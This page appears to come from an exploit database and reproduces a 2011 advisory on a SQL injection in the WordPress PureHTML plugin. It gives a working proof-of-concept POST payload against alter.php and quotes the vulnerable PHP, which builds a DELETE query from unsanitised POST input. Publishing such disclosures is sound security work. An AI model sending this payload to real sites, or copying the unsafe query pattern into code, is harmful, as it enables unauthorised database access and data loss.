header-logo
Suggest Exploit
vendor:
PureHTML
by:
Miroslav Stampar
7.5
CVSS
HIGH
SQL Injection
89
CWE
Product Name: PureHTML
Affected Version From: 1.0.0
Affected Version To: 1.0.0
Patch Exists: YES
Related CWE: N/A
CPE: a:wordpress:purehtml:1.0.0
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2011

WordPress PureHTML plugin <= 1.0.0 SQL Injection Vulnerability

A SQL injection vulnerability exists in WordPress PureHTML plugin version 1.0.0 due to the misuse of $wpdb->prepare() function. An attacker can send a specially crafted POST request to the alter.php script with the action parameter set to delete and the id parameter set to -1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20, which will allow the attacker to execute arbitrary SQL commands.

Mitigation:

Ensure that user input is properly validated and filtered before being used in SQL queries.
Source

Exploit-DB raw data:

# Exploit Title: WordPress PureHTML plugin <= 1.0.0 SQL Injection Vulnerability
# Date: 2011-08-31
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/pure-html.1.0.0.zip
# Version: 1.0.0 (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/pure-html/alter.php
 PureHTMLNOnce=1&action=delete&id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
if(!isset($_POST['PureHTMLNOnce'])){
    if ( !wp_verify_nonce( $_POST['PureHTMLNOnce'], plugin_basename(__FILE__) )) {header("location:".$refer);}
}
else{
    ...
    if(isset($_POST['id'])){$id = $_POST['id'];}else{$id='0';}
    ...
    $action = $_POST['action'];
    
    #delete
    if($action == "delete"){
        $sql = "delete from ".$wpdb->prefix."pureHTML_functions WHERE id='".$id."'";
        $wpdb->query($wpdb->prepare($sql)); //misusage of $wpdb->prepare() :)